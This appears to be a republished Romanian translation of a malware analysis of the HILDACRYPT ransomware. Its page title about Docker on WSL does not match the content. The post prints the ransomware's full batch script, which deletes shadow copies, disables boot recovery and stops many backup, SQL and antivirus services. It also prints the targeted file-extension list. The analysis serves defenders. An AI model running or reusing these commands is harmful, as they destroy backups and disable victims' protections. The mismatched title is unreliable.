{"id":52277,"date":"2019-11-05T00:00:00","date_gmt":"2019-11-04T21:00:00","guid":{"rendered":"https:\/\/prohoster.info\/blog\/blog_prohoster\/hildacrypt-novaya-programma-vymogatel-nanosit-udar-po-sistemam-rezervnogo-kopirovaniya-i-antivirusnym-resheniyam"},"modified":"2020-02-18T13:59:57","modified_gmt":"2020-02-18T10:59:57","slug":"hildacrypt-novaya-programma-vymogatel-nanosit-udar-po-sistemam-rezervnogo-kopirovaniya-i-antivirusnym-resheniyam","status":"publish","type":"post","link":"https:\/\/prohoster.info\/ro\/blog\/administrirovanie\/hildacrypt-novaya-programma-vymogatel-nanosit-udar-po-sistemam-rezervnogo-kopirovaniya-i-antivirusnym-resheniyam","title":{"rendered":"Dezvoltare cu Docker pe Windows Subsystem for Linux (WSL)","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

Bun\u0103, Habr! \u0218i din nou v\u0103 aducem \u00een aten\u021bie noi versiuni de malware din categoria Ransomware. HILDACRYPT este un nou program ransomware, parte din familia Hilda descoperit\u0103 \u00een august 2019, numit\u0103 astfel dup\u0103 un desen animat de pe serviciul de streaming Netflix, care a fost utilizat pentru distribuirea software-ului. Ast\u0103zi ne familiariz\u0103m cu caracteristicile tehnice ale acestui virus ransomware actualizat.<\/p>\n

\"Dezvoltare
\n<\/a><\/noindex>
\n\u00cen prima versiune a ransomware-urilor Hilda, linkul c\u0103tre trailerul trailerul<\/a><\/noindex> serialului animat era inclus \u00een scrisoarea de r\u0103scump\u0103rare. HILDACRYPT se ascunde sub un instalator legitim XAMPP \u2014 un distribuitor simplu de instalat al Apache, care include MariaDB, PHP \u0219i Perl. \u00cen plus, fi\u0219ierul ransomware are un nume diferit \u2014 xamp. De asemenea, fi\u0219ierul programului ransomware nu are semn\u0103tur\u0103 electronic\u0103.<\/p>\n

Analiza static\u0103<\/h3>\n

\nProgramul ransomware este con\u021binut \u00eentr-un fi\u0219ier PE32 .NET, scris pentru MS Windows. Dimensiunea sa este de 135,168 de octe\u021bi. At\u00e2t codul principal al programului, c\u00e2t \u0219i codul programului protector sunt scrise \u00een C#. Potrivit m\u0103rcii de dat\u0103 \u0219i or\u0103 a compil\u0103rii, fi\u0219ierul binar a fost creat pe 14 septembrie 2019.<\/p>\n

\"Dezvoltare
\n
\nConform Detect It Easy, virusul ransomware este arhivat cu ajutorul Confuser \u0219i ConfuserEx, dar aceste obfuscatori sunt la fel ca \u00eenainte, doar c\u0103 ConfuserEx este succesorul lui Confuser, astfel \u00eenc\u00e2t semn\u0103turile codurilor lor sunt asem\u0103n\u0103toare. <\/p>\n

\"Dezvoltare
\n
\nHILDACRYPT este \u00eentr-adev\u0103r \u00eempachetat cu ajutorul ConfuserEx. <\/p>\n

\"Dezvoltare
\n
\nSHA-256: 7b0dcc7645642c141deb03377b451d3f873724c254797e3578ef8445a38ece8a<\/p>\n

Vectorul de atac<\/h3>\n

\nCel mai probabil, programul ransomware a fost descoperit pe unul dintre site-urile dedicate program\u0103rii web, camufl\u00e2ndu-se sub un program legitim XAMPP.<\/p>\n

\u00centreaga lan\u021b de infec\u021bie poate fi v\u0103zut\u0103 \u00een app.any.run sandbox<\/a><\/noindex>.<\/p>\n

Obfuscarea <\/h3>\n

\n\u0218irurile programului ransomware sunt stocate \u00eentr-o form\u0103 criptat\u0103. La lansare, HILDACRYPT le decripteaz\u0103 folosind Base64 \u0219i AES-256-CBC.<\/p>\n

\"Dezvoltare
\n<\/p>\n

Instalare<\/h3>\n

\n\u00cen primul r\u00e2nd, programul ransomware creeaz\u0103 \u00een %AppDataRoaming% un folder, ale c\u0103rui parametrii GUID (Identificator Unic Global) sunt genera\u021bi aleatoriu. Ad\u0103ug\u00e2nd un fi\u0219ier bat \u00een aceast\u0103 loca\u021bie, ransomware-ul \u00eel lanseaz\u0103 cu ajutorul cmd.exe:<\/p>\n

cmd.exe \/c JKfgkgj3hjgfhjka.bat & exit
\n<\/i>
\n\"Dezvoltare\"Dezvoltare
\nApoi, \u00eencepe executarea scriptului batch pentru a dezactiva func\u021biile sau serviciile sistemului.<\/p>\n

\"Dezvoltare
\n
\nScriptul con\u021bine o list\u0103 lung\u0103 de comenzi prin care sunt distruse copiile shadow, dezactivat serverul SQL, backupul \u0219i solu\u021biile antivirus.<\/p>\n

De exemplu, el \u00eencearc\u0103 f\u0103r\u0103 succes s\u0103 opreasc\u0103 serviciile de backup Acronis Backup. \u00cen plus, atac\u0103 sistemele de backup \u0219i solu\u021biile antivirus ale urm\u0103torilor furnizori: Veeam, Sophos, Kaspersky, McAfee \u0219i altele.<\/p>\n

@echo off\n:: Nu sunt chiar un fan al poneilor, fetele din desene animate sunt mai bune, nu-i a\u0219a?\nvssadmin resize shadowstorage \/for=c: \/on=c: \/maxsize=401MB\nvssadmin resize shadowstorage \/for=c: \/on=c: \/maxsize=unbounded\nvssadmin resize shadowstorage \/for=d: \/on=d: \/maxsize=401MB\nvssadmin resize shadowstorage \/for=d: \/on=d: \/maxsize=unbounded\nvssadmin resize shadowstorage \/for=e: \/on=e: \/maxsize=401MB\nvssadmin resize shadowstorage \/for=e: \/on=e: \/maxsize=unbounded\nvssadmin resize shadowstorage \/for=f: \/on=f: \/maxsize=401MB\nvssadmin resize shadowstorage \/for=f: \/on=f: \/maxsize=unbounded\nvssadmin resize shadowstorage \/for=g: \/on=g: \/maxsize=401MB\nvssadmin resize shadowstorage \/for=g: \/on=g: \/maxsize=unbounded\nvssadmin resize shadowstorage \/for=h: \/on=h: \/maxsize=401MB\nvssadmin resize shadowstorage \/for=h: \/on=h: \/maxsize=unbounded\nbcdedit \/set {default} recoveryenabled No\nbcdedit \/set {default} bootstatuspolicy ignoreallfailures\nvssadmin Delete Shadows \/all \/quiet\nnet stop SQLAgent$SYSTEM_BGC \/y\nnet stop \u201cSophos Device Control Service\u201d \/y\nnet stop macmnsvc \/y\nnet stop SQLAgent$ECWDB2 \/y\nnet stop \u201cZoolz 2 Service\u201d \/y\nnet stop McTaskManager \/y\nnet stop \u201cSophos AutoUpdate Service\u201d \/y\nnet stop \u201cSophos System Protection Service\u201d \/y\nnet stop EraserSvc11710 \/y\nnet stop PDVFSService \/y\nnet stop SQLAgent$PROFXENGAGEMENT \/y\nnet stop SAVService \/y\nnet stop MSSQLFDLauncher$TPSAMA \/y\nnet stop EPSecurityService \/y\nnet stop SQLAgent$SOPHOS \/y\nnet stop \u201cSymantec System Recovery\u201d \/y\nnet stop Antivirus \/y\nnet stop SstpSvc \/y\nnet stop MSOLAP$SQL_2008 \/y\nnet stop TrueKeyServiceHelper \/y\nnet stop sacsvr \/y\nnet stop VeeamNFSSvc \/y\nnet stop FA_Scheduler \/y\nnet stop SAVAdminService \/y\nnet stop EPUpdateService \/y\nnet stop VeeamTransportSvc \/y\nnet stop \u201cSophos Health Service\u201d \/y\nnet stop bedbg \/y\nnet stop MSSQLSERVER \/y\nnet stop KAVFS \/y\nnet stop Smcinst \/y\nnet stop MSSQLServerADHelper100 \/y\nnet stop TmCCSF \/y\nnet stop wbengine \/y\nnet stop SQLWriter \/y\nnet stop MSSQLFDLauncher$TPS \/y\nnet stop SmcService \/y\nnet stop ReportServer$TPSAMA \/y\nnet stop swi_update \/y\nnet stop AcrSch2Svc \/y\nnet stop MSSQL$SYSTEM_BGC \/y\nnet stop VeeamBrokerSvc \/y\nnet stop MSSQLFDLauncher$PROFXENGAGEMENT \/y\nnet stop VeeamDeploymentService \/y\nnet stop SQLAgent$TPS \/y\nnet stop DCAgent \/y\nnet stop \u201cSophos Message Router\u201d \/y\nnet stop MSSQLFDLauncher$SBSMONITORING \/y\nnet stop wbengine \/y\nnet stop MySQL80 \/y\nnet stop MSOLAP$SYSTEM_BGC \/y\nnet stop ReportServer$TPS \/y\nnet stop MSSQL$ECWDB2 \/y\nnet stop SntpService \/y\nnet stop SQLSERVERAGENT \/y\nnet stop BackupExecManagementService \/y\nnet stop SMTPSvc \/y\nnet stop mfefire \/y\nnet stop BackupExecRPCService \/y\nnet stop MSSQL$VEEAMSQL2008R2 \/y\nnet stop klnagent \/y\nnet stop MSExchangeSA \/y\nnet stop MSSQLServerADHelper \/y\nnet stop SQLTELEMETRY \/y\nnet stop \u201cSophos Clean Service\u201d \/y\nnet stop swi_update_64 \/y\nnet stop \u201cSophos Web Control Service\u201d \/y\nnet stop EhttpSrv \/y\nnet stop POP3Svc \/y\nnet stop MSOLAP$TPSAMA \/y\nnet stop McAfeeEngineService \/y\nnet stop \u201cVeeam Backup Catalog Data Service\u201d \/\nnet stop MSSQL$SBSMONITORING \/y\nnet stop ReportServer$SYSTEM_BGC \/y\nnet stop AcronisAgent \/y\nnet stop KAVFSGT \/y\nnet stop BackupExecDeviceMediaService \/y\nnet stop MySQL57 \/y\nnet stop McAfeeFrameworkMcAfeeFramework \/y\nnet stop TrueKey \/y\nnet stop VeeamMountSvc \/y\nnet stop MsDtsServer110 \/y\nnet stop SQLAgent$BKUPEXEC \/y\nnet stop UI0Detect \/y\nnet stop ReportServer \/y\nnet stop SQLTELEMETRY$ECWDB2 \/y\nnet stop MSSQLFDLauncher$SYSTEM_BGC \/y\nnet stop MSSQL$BKUPEXEC \/y\nnet stop SQLAgent$PRACTTICEBGC \/y\nnet stop MSExchangeSRS \/y\nnet stop SQLAgent$VEEAMSQL2008R2 \/y\nnet stop McShield \/y\nnet stop SepMasterService \/y\nnet stop \u201cSophos MCS Client\u201d \/y\nnet stop VeeamCatalogSvc \/y\nnet stop SQLAgent$SHAREPOINT \/y\nnet stop NetMsmqActivator \/y\nnet stop kavfsslp \/y\nnet stop tmlisten \/y\nnet stop ShMonitor \/y\nnet stop MsDtsServer \/y\nnet stop SQLAgent$SQL_2008 \/y\nnet stop SDRSVC \/y\nnet stop IISAdmin \/y\nnet stop SQLAgent$PRACTTICEMGT \/y\nnet stop BackupExecJobEngine \/y\nnet stop SQLAgent$VEEAMSQL2008R2 \/y\nnet stop BackupExecAgentBrowser \/y\nnet stop VeeamHvIntegrationSvc \/y\nnet stop masvc \/y\nnet stop W3Svc \/y\nnet stop \u201cSQLsafe Backup Service\u201d \/y\nnet stop SQLAgent$CXDB \/y\nnet stop SQLBrowser \/y\nnet stop MSSQLFDLauncher$SQL_2008 \/y\nnet stop VeeamBackupSvc \/y\nnet stop \u201cSophos Safestore Service\u201d \/y\nnet stop svcGenericHost \/y\nnet stop ntrtscan \/y\nnet stop SQLAgent$VEEAMSQL2012 \/y\nnet stop MSExchangeMGMT \/y\nnet stop SamSs \/y\nnet stop MSExchangeES \/y\nnet stop MBAMService \/y\nnet stop EsgShKernel \/y\nnet stop ESHASRV \/y\nnet stop MSSQL$TPSAMA \/y\nnet stop SQLAgent$CITRIX_METAFRAME \/y\nnet stop VeeamCloudSvc \/y\nnet stop \u201cSophos File Scanner Service\u201d \/y\nnet stop \u201cSophos Agent\u201d \/y\nnet stop MBEndpointAgent \/y\nnet stop swi_service \/y\nnet stop MSSQL$PRACTICEMGT \/y\nnet stop SQLAgent$TPSAMA \/y\nnet stop McAfeeFramework \/y\nnet stop \u201cEnterprise Client Service\u201d \/y\nnet stop SQLAgent$SBSMONITORING \/y\nnet stop MSSQL$VEEAMSQL2012 \/y\nnet stop swi_filter \/y\nnet stop SQLSafeOLRService \/y\nnet stop BackupExecVSSProvider \/y\nnet stop VeeamEnterpriseManagerSvc \/y\nnet stop SQLAgent$SQLEXPRESS \/y\nnet stop OracleClientCache80 \/y\nnet stop MSSQL$PROFXENGAGEMENT \/y\nnet stop IMAP4Svc \/y\nnet stop ARSM \/y\nnet stop MSExchangeIS \/y\nnet stop AVP \/y\nnet stop MSSQLFDLauncher \/y\nnet stop MSExchangeMTA \/y\nnet stop TrueKeyScheduler \/y\nnet stop MSSQL$SOPHOS \/y\nnet stop \u201cSQL Backups\u201d \/y\nnet stop MSSQL$TPS \/y\nnet stop mfemms \/y\nnet stop MsDtsServer100 \/y\nnet stop MSSQL$SHAREPOINT \/y\nnet stop WRSVC \/y\nnet stop mfevtp \/y\nnet stop msftesql$PROD \/y\nnet stop mozyprobackup \/y\nnet stop MSSQL$SQL_2008 \/y\nnet stop SNAC \/y\nnet stop ReportServer$SQL_2008 \/y\nnet stop BackupExecAgentAccelerator \/y\nnet stop MSSQL$SQLEXPRESS \/y\nnet stop MSSQL$PRACTTICEBGC \/y\nnet stop VeeamRESTSvc \/y\nnet stop sophossps \/y\nnet stop ekrn \/y\nnet stop MMS \/y\nnet stop \u201cSophos MCS Agent\u201d \/y\nnet stop RESvc \/y\nnet stop \u201cAcronis VSS Provider\u201d \/y\nnet stop MSSQL$VEEAMSQL2008R2 \/y\nnet stop MSSQLFDLauncher$SHAREPOINT \/y\nnet stop \u201cSQLsafe Filter Service\u201d \/y\nnet stop MSSQL$PROD \/y\nnet stop SQLAgent$PROD \/y\nnet stop MSOLAP$TPS \/y\nnet stop VeeamDeploySvc \/y\nnet stop MSSQLServerOLAPService \/y\ndel %0\n<\/code><\/pre>\n
\nDup\u0103 ce serviciile \u0219i procesele men\u021bionate mai sus sunt dezactivate, cryptolocker-ul colecteaz\u0103 informa\u021bii despre toate procesele active folosind comanda tasklist pentru a se asigura c\u0103 toate serviciile necesare sunt nefunc\u021bionale. 
\ntasklist v \/fo csv<\/i><\/p>\n
Aceast\u0103 comand\u0103 produce o list\u0103 detaliat\u0103 a proceselor active, iar elementele sunt separate prin virgule. 
\n\u00abcsrss.exe\u00bb,\u00ab448\u00bb,\u00abservicii\u00bb,\u00ab0\u00bb,\u00ab1 896 \ufffd\u00bb,\u00abnecunoscut\u00bb,\u00bb\/\u00bb\u00bb,\u00ab0:00:03\u00bb,\u00bb\/\u00bb\u00bb
\n<\/i><\/p>\n
\"Dezvoltare
\n
\nDup\u0103 aceast\u0103 verificare, ransomware-ul \u00eencepe procesul de criptare. <\/p>\n
Criptare 
\n<\/h3>\n
Criptarea fi\u0219ierelor<\/h4>\n
\nHILDACRYPT parcurge tot con\u021binutul g\u0103sit pe hard diskuri, cu excep\u021bia folderelor Recycle.Bin \u0219i Reference AssembliesMicrosoft. Acest din urm\u0103 con\u021bine fi\u0219iere dll, pdb etc., esen\u021biale pentru aplica\u021biile .Net, care ar putea afecta func\u021bionarea ransomware-ului. Pentru a c\u0103uta fi\u0219ierele care vor fi criptate, este utilizat\u0103 urm\u0103toarea list\u0103 de extensii:<\/p>\n
\u00ab.vb:.asmx:.config:.3dm:.3ds:.3fr:.3g2:.3gp:.3pr:.7z:.ab4:.accdb:.accde:.accdr:.accdt:.ach:.acr:.act:.adb:.ads:.agdl:.ai:.ait:.al:.apj:.arw:.asf:.asm:.asp:.aspx:.asx:.avi:.awg:.back:.backup:.backupdb:.bak:.lua:.m:.m4v:.max:.mdb:.mdc:.mdf:.mef:.mfw:.mmw:.moneywell:.mos:.mov:.mp3:.mp4:.mpg:.mpeg:.mrw:.msg:.myd:.nd:.ndd:.nef:.nk2:.nop:.nrw:.ns2:.ns3:.ns4:.nsd:.nsf:.nsg:.nsh:.nwb:.nx2:.nxl:.nyf:.tif:.tlg:.txt:.vob:.wallet:.war:.wav:.wb2:.wmv:.wpd:.wps:.x11:.x3f:.xis:.xla:.xlam:.xlk:.xlm:.xlr:.xls:.xlsb:.xlsm:.xlsx:.xlt:.xltm:.xltx:.xlw:.xml:.ycbcra:.yuv:.zip:.sqlite:.sqlite3:.sqlitedb:.sr2:.srf:.srt:.srw:.st4:.st5:.st6:.st7:.st8:.std:.sti:.stw:.stx:.svg:.swf:.sxc:.sxd:.sxg:.sxi:.sxm:.sxw:.tex:.tga:.thm:.tib:.py:.qba:.qbb:.qbm:.qbr:.qbw:.qbx:.qby:.r3d:.raf:.rar:.rat:.raw:.rdb:.rm:.rtf:.rw2:.rwl:.rwz:.s3db:.sas7bdat:.say:.sd0:.sda:.sdf:.sldm:.sldx:.sql:.pdd:.pdf:.pef:.pem:.pfx:.php:.php5:.phtml:.pl:.plc:.png:.pot:.potm:.potx:.ppam:.pps:.ppsm:.ppsx:.ppt:.pptm:.pptx:.prf:.ps:.psafe3:.psd:.pspimage:.pst:.ptx:.oab:.obj:.odb:.odc:.odf:.odg:.odm:.odp:.ods:.odt:.oil:.orf:.ost:.otg:.oth:.otp:.ots:.ott:.p12:.p7b:.p7c:.pab:.pages:.pas:.pat:.pbl:.pcd:.pct:.pdb:.gray:.grey:.gry:.h:.hbk:.hpp:.htm:.html:.ibank:.ibd:.ibz:.idx:.iif:.iiq:.incpas:.indd:.jar:.java:.jpe:.jpeg:.jpg:.jsp:.kbx:.kc2:.kdbx:.kdc:.key:.kpdx:.doc:.docm:.docx:.dot:.dotm:.dotx:.drf:.drw:.dtd:.dwg:.dxb:.dxf:.dxg:.eml:.eps:.erbsql:.erf:.exf:.fdb:.ffd:.fff:.fh:.fhd:.fla:.flac:.flv:.fmb:.fpx:.fxg:.cpp:.cr2:.craw:.crt:.crw:.cs:.csh:.csl:.csv:.dac:.bank:.bay:.bdb:.bgt:.bik:.bkf:.bkp:.blend:.bpw:.c:.cdf:.cdr:.cdr3:.cdr4:.cdr5:.cdr6:.cdrw:.cdx:.ce1:.ce2:.cer:.cfp:.cgm:.cib:.class:.cls:.cmt:.cpi:.ddoc:.ddrw:.dds:.der:.des:.design:.dgc:.djvu:.dng:.db:.db-journal:.db3:.dcr:.dcs:.ddd:.dbf:.dbx:.dc2:.pbl:.csproj:.sln:.vbproj:.mdb:.md\u00bb
\n<\/i>
\nPentru a cripta fi\u0219ierele utilizatorului, ransomware-ul folose\u0219te algoritmul AES-256-CBC. Dimensiunea cheii este de 256 bi\u021bi, iar dimensiunea vectorului de ini\u021bializare (IV) este de 16 octe\u021bi. <\/p>\n
\"Dezvoltare
\n
\n\u00cen captura de ecran urm\u0103toare, valorile byte_2 \u0219i byte_1 au fost ob\u021binute aleatoriu folosind GetBytes(). <\/p>\n
\"Dezvoltare
\n
\nCheia<\/p>\n
\"Dezvoltare
\n
\nVI<\/p>\n
\"Dezvoltare
\n
\nFi\u0219ierul criptat are extensia HCY!.. Acesta este un exemplu de fi\u0219ier criptat. Pentru acest fi\u0219ier au fost create cheia \u0219i IV men\u021bionate mai sus. <\/p>\n
\"Dezvoltare
\n<\/p>\n
Criptarea cheilor<\/h4>\n
\nCryptolocker salveaz\u0103 cheia AES generat\u0103 \u00een fi\u0219ierul criptat. Prima parte a fi\u0219ierului criptat are un antet care con\u021bine date precum HILDACRYPT, KEY, IV, FileLen \u00een format XML \u0219i arat\u0103 astfel:<\/p>\n
\"Dezvoltare
\n
\nCriptarea cheii AES \u0219i a IV se face prin RSA-2048, iar codificarea \u2014 prin Base64. Cheia public\u0103 RSA este stocat\u0103 \u00een corpul cryptolocker-ului \u00eentr-o dintre liniile criptate \u00een format XML.<\/p>\n
28guEbzkzciKg3N\/ExUq8jGcshuMSCmoFsh\/3LoMyWzPrnfHGhrgotuY\/cs+eSGABQ+rs1B+MMWOWvqWdVpBxUgzgsgOgcJt7P+r4bWhfccYeKDi7PGRtZuTv+XpmG+m+u\/JgerBM1Fi49+0vUMuEw5a1sZ408CvFapojDkMT0P5cJGYLSiVFud8reV7ZtwcCaGf88rt8DAUt2iSZQix0aw8PpnCH5\/74WE8dAHKLF3sYmR7yFWAdCJRovzdx8\/qfjMtZ41sIIIEyajVKfA18OT72\/UBME2gsAM\/BGii2hgLXP5ZGKPgQEf7Zpic1fReZcpJonhNZzXztGCSLfa\/jQ==AQAB
\n<\/code><\/p>\n
Pentru criptarea cheii fi\u0219ierului AES se folose\u0219te cheia public\u0103 RSA. Cheia public\u0103 RSA este codificat\u0103 cu Base64 \u0219i const\u0103 din modul \u0219i exponenta public\u0103 65537. Pentru decriptare este necesar\u0103 cheia privat\u0103 RSA, pe care o are atacatorul.<\/p>\n
Dup\u0103 criptarea RSA, cheia AES este codificat\u0103 prin Base64, fiind salvat\u0103 \u00een fi\u0219ierul criptat.<\/p>\n
Mesaj de r\u0103scump\u0103rare<\/h3>\n
\nLa finalizarea cript\u0103rii, HILDACRYPT scrie un fi\u0219ier html \u00een folderul \u00een care a criptat fi\u0219ierele. Notificarea ransomware-ului con\u021bine dou\u0103 adrese de e-mail la care victima poate contacta atacatorul.<\/p>\n